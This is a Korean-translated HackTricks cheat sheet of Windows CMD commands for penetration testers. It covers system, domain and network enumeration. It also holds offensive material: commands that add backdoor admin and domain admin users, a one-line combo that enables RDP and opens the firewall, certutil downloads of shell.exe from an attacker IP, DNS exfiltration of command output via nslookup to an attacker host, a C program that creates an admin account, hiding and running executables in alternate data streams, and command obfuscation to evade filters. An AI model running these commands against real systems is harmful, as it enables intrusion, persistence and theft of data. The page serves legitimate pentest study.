hacktricks/windows-hardening/basic-cmd-for-pentesters.md

# Basic Win CMD for Pentesters

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**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**

**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.

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## 시스템 정보

### 버전 및 패치 정보
```bash
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic computersystem LIST full #Get PC info

wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic qfe list brief #Updates

hostname

DRIVERQUERY #3rd party driver vulnerable?
```
### 환경
```bash
set #List all environment variables
```
Some env variables to highlight:

* **COMPUTERNAME**: 컴퓨터 이름
* **TEMP/TMP:** 임시 폴더
* **USERNAME:** 사용자 이름
* **HOMEPATH/USERPROFILE:** 홈 디렉토리
* **windir:** C:\Windows
* **OS**: 윈도우 OS
* **LOGONSERVER**: 도메인 컨트롤러 이름
* **USERDNSDOMAIN**: DNS와 함께 사용할 도메인 이름
* **USERDOMAIN**: 도메인 이름
```bash
nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
```
### 마운트된 디스크
```bash
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
wmic logicaldisk get caption,description,providername
```
### [디펜더](authentication-credentials-uac-and-efs/#defender)

### 휴지통
```bash
dir C:\$Recycle.Bin /s /b
```
### 프로세스, 서비스 및 소프트웨어
```bash
schtasks /query /fo LIST /v #Verbose out of scheduled tasks
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
tasklist /V #List processes
tasklist /SVC #links processes to started services
net start #Windows Services started
wmic service list brief #List services
sc query #List of services
dir /a "C:\Program Files" #Installed software
dir /a "C:\Program Files (x86)" #Installed software
reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software
```
## 도메인 정보
```bash
# Generic AD info
echo %USERDOMAIN% #Get domain name
echo %USERDNSDOMAIN% #Get domain name
echo %logonserver% #Get name of the domain controller
set logonserver #Get name of the domain controller
set log #Get name of the domain controller
gpresult /V # Get current policy applied
wmic ntdomain list /format:list	#Displays information about the Domain and Domain Controllers

# Users
dsquery user #Get all users
net user /domain #List all users of the domain
net user <ACCOUNT_NAME> /domain #Get information about that user
net accounts /domain #Password and lockout policy
wmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #Get all users
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # Get info of 1 users
wmic sysaccount list /format:list # Dumps information about any system accounts that are being used as service accounts.

# Groups
net group /domain #List of domain groups
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here)
net group "Domain Admins" /domain #List users with domain admin privileges
net group "domain computers" /domain #List of PCs connected to the domain
net group "Domain Controllers" /domain #List PC accounts of domains controllers
wmic group list /format:list # Information about all local groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #Get all groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group
wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group

# Computers
dsquery computer #Get all computers
net view /domain #Lis of PCs of the domain
nltest /dclist:<DOMAIN> #List domain controllers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #All computers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #All computers

# Trust relations
nltest /domain_trusts #Mapping of the trust relationships

# Get all objects inside an OU
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
```
### 로그 및 이벤트
```bash
#Make a security query using another credentials
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321
```
## 사용자 및 그룹

### 사용자
```bash
#Me
whoami /all #All info about me, take a look at the enabled tokens
whoami /priv #Show only privileges

# Local users
net users #All users
dir /b /ad "C:\Users"
net user %username% #Info about a user (me)
net accounts #Information about password requirements
wmic USERACCOUNT Get Domain,Name,Sid
net user /add [username] [password] #Create user

# Other users looged
qwinsta #Anyone else logged in?

#Lauch new cmd.exe with new creds (to impersonate in network)
runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted

#Check current logon session as administrator using logonsessions from sysinternals
logonsessions.exe
logonsessions64.exe
```
### 그룹
```bash
#Local
net localgroup #All available groups
net localgroup Administrators #Info about a group (admins)
net localgroup administrators [username] /add #Add user to administrators

#Domain
net group /domain #Info about domain groups
net group /domain <domain_group_name> #Users that belongs to the group
```
### 세션 목록
```
qwinsta
klist sessions
```
### 비밀번호 정책
```
net accounts
```
### 자격 증명
```bash
cmdkey /list #List credential
vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault
rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access
```
### 사용자와의 지속성
```bash
# Add domain user and put them in Domain Admins group
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN

# Add local user and put them local Administrators group
net user username password /ADD
net localgroup Administrators username /ADD

# Add user to insteresting groups:
net localgroup "Remote Desktop Users" UserLoginName  /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add
```
## 네트워크

### 인터페이스, 라우트, 포트, 호스트 및 DNS 캐시
```bash
ipconfig /all #Info about interfaces
route print #Print available routes
arp -a #Know hosts
netstat -ano #Opened ports?
type C:\WINDOWS\System32\drivers\etc\hosts
ipconfig /displaydns | findstr "Record" | findstr "Name Host"
```
### 방화벽
```bash
netsh firewall show state # FW info, open ports
netsh advfirewall firewall show rule name=all
netsh firewall show config # FW info
Netsh Advfirewall show allprofiles

NetSh Advfirewall set allprofiles state off  #Turn Off
NetSh Advfirewall set allprofiles state on  #Trun On
netsh firewall set opmode disable #Turn Off

#How to open ports
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
netsh firewall add portopening TCP 3389 "Remote Desktop"

#Enable Remote Desktop
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
::netsh firewall set service remotedesktop enable #I found that this line is not needed
::sc config TermService start= auto #I found that this line is not needed
::net start Termservice #I found that this line is not needed

#Enable Remote Desktop with wmic
wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
##or
wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"

#Enable Remote assistance:
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall set service remoteadmin enable

#Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable

::Connect to RDP (using hash or password)
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49
```
### 공유
```bash
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
```
### Wifi
```bash
netsh wlan show profile #AP SSID
netsh wlan show profile <SSID> key=clear #Get Cleartext Pass
```
### SNMP
```
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
```
### 네트워크 인터페이스
```bash
ipconfig /all
```
### ARP 테이블
```bash
arp -A
```
## 다운로드

Bitsadmin.exe
```
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
```
CertReq.exe
```
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
```
Certutil.exe
```
certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
```
**`Download`를 검색하여 더 많은 정보를 찾으세요** [**https://lolbas-project.github.io**](https://lolbas-project.github.io/)

## 기타
```bash
cd #Get current dir
cd C:\path\to\dir #Change dir
dir #List current dir
dir /a:h C:\path\to\dir #List hidden files
dir /s /b #Recursive list without shit
time #Get current time
date #Get current date
shutdown /r /t 0 #Shutdown now
type <file> #Cat file

#Runas
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials
runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted

#Hide
attrib +h file #Set Hidden
attrib -h file #Quit Hidden

#Give full control over a file that you owns
icacls <FILE_PATH> /t /e /p <USERNAME>:F
icacls <FILE_PATH> /e /r <USERNAME> #Remove the permision

#Recursive copy to smb
xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win

#exe2bat to transform exe file in bat file

#ADS
dir /r #Detect ADS
more file.txt:ads.txt #read ADS
powershell (Get-Content file.txt -Stream ads.txt)

# Get error messages from code
net helpmsg 32 #32 is the code in that case
```
### 문자 블랙리스트 우회
```bash
echo %HOMEPATH:~6,-11%   #\
who^ami   #whoami
```
### DOSfuscation

혼란스러운 CMD 라인을 생성합니다.
```powershell
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
help
SET COMMAND type C:\Users\Administrator\Desktop\flag.txt
encoding
```
### Listen address ACLs

관리자 권한 없이 [http://+:80/Temporary\_Listen\_Addresses/](http://+/Temporary\_Listen\_Addresses/)에서 수신할 수 있습니다.
```bash
netsh http show urlacl
```
### Manual DNS shell

**공격자** (Kali)는 다음 두 가지 옵션 중 하나를 사용해야 합니다:
```bash
sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive
```
#### 피해자

**`for /f tokens`** 기법: 이를 통해 명령을 실행하고 각 줄의 첫 번째 X 단어를 가져와 DNS를 통해 우리의 서버로 전송할 수 있습니다.
```bash
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one
```
출력을 **리다이렉트**하고, 그 다음 **읽을** 수 있습니다.
```
whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
```
## C 코드에서 CMD 호출하기
```c
#include <stdlib.h>     /* system, NULL, EXIT_FAILURE */

// When executed by Administrator this program will create a user and then add him to the administrators group
// i686-w64-mingw32-gcc addmin.c -o addmin.exe
// upx -9 addmin.exe

int main (){
int i;
i=system("net users otherAcc 0TherAcc! /add");
i=system("net localgroup administrators otherAcc /add");
return 0;
}
```
## Alternate Data Streams CheatSheet (ADS/Alternate Data Stream)

**예제는** [**https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f**](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)**에서 가져왔습니다! 더 많은 예제가 있습니다!**
```bash
## Selected Examples of ADS Operations ##

### Adding Content to ADS ###
# Append executable to a log file as an ADS
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
# Download a script directly into an ADS
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt

### Discovering ADS Content ###
# List files and their ADS
dir /R
# Use Sysinternals tool to list ADS of a file
streams.exe <c:\path\to\file>

### Extracting Content from ADS ###
# Extract an executable stored in an ADS
expand c:\ads\file.txt:test.exe c:\temp\evil.exe

### Executing ADS Content ###
# Execute an executable stored in an ADS using WMIC
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
# Execute a script stored in an ADS using PowerShell
powershell -ep bypass - < c:\temp:ttt
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**

**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.

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{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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